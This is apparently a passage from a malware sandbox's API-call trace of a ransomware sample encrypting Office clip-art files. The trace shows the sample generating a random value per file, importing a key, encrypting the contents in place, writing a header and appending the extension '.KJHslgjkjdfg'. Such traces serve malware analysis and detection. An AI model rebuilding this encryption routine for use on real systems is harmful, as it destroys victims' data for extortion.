lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1224, lpOverlapped=0x0) returned 1 [0218.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1230, dwBufLen=0x1230 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1230) returned 1 [0218.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.424] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1230, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1230, lpOverlapped=0x0) returned 1 [0218.424] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.424] SetEndOfFile (hFile=0x130) returned 1 [0218.427] GetProcessHeap () returned 0x990000 [0218.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.427] GetProcessHeap () returned 0x990000 [0218.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.kjhslgjkjdfg")) returned 1 [0218.429] CloseHandle (hObject=0x130) returned 1 [0218.429] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0218.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.430] GetProcessHeap () returned 0x990000 [0218.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.430] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.430] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.430] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.430] GetProcessHeap () returned 0x990000 [0218.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.431] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.431] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.435] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.435] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.436] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bc0, lpOverlapped=0x0) returned 1 [0218.437] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bc0) returned 1 [0218.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.437] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bc0, lpOverlapped=0x0) returned 1 [0218.437] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.437] SetEndOfFile (hFile=0x130) returned 1 [0218.440] GetProcessHeap () returned 0x990000 [0218.440] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.440] GetProcessHeap () returned 0x990000 [0218.440] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.kjhslgjkjdfg")) returned 1 [0218.442] CloseHandle (hObject=0x130) returned 1 [0218.442] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0218.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.443] GetProcessHeap () returned 0x990000 [0218.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.444] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.446] GetProcessHeap () returned 0x990000 [0218.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.446] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.447] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.447] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.447] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x738, lpOverlapped=0x0) returned 1 [0218.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x740, dwBufLen=0x740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x740) returned 1 [0218.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.448] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x740, lpOverlapped=0x0) returned 1 [0218.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.448] SetEndOfFile (hFile=0x130) returned 1 [0218.451] GetProcessHeap () returned 0x990000 [0218.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.451] GetProcessHeap () returned 0x990000 [0218.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.kjhslgjkjdfg")) returned 1 [0218.453] CloseHandle (hObject=0x130) returned 1 [0218.453] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0218.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.455] GetProcessHeap () returned 0x990000 [0218.455] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.455] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.457] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.457] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.457] GetProcessHeap () returned 0x990000 [0218.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.457] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.458] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc68, lpOverlapped=0x0) returned 1 [0218.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc70, dwBufLen=0xc70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc70) returned 1 [0218.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc70, lpOverlapped=0x0) returned 1 [0218.459] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.459] SetEndOfFile (hFile=0x130) returned 1 [0218.461] GetProcessHeap () returned 0x990000 [0218.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.461] GetProcessHeap () returned 0x990000 [0218.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.kjhslgjkjdfg")) returned 1 [0218.463] CloseHandle (hObject=0x130) returned 1 [0218.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0218.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.465] GetProcessHeap () returned 0x990000 [0218.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.465] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.468] GetProcessHeap () returned 0x990000 [0218.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.468] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.468] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.468] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.469] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf8c, lpOverlapped=0x0) returned 1 [0218.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf90, dwBufLen=0xf90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf90) returned 1 [0218.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.469] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf90, lpOverlapped=0x0) returned 1 [0218.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.469] SetEndOfFile (hFile=0x130) returned 1 [0218.472] GetProcessHeap () returned 0x990000 [0218.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.472] GetProcessHeap () returned 0x990000 [0218.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.kjhslgjkjdfg")) returned 1 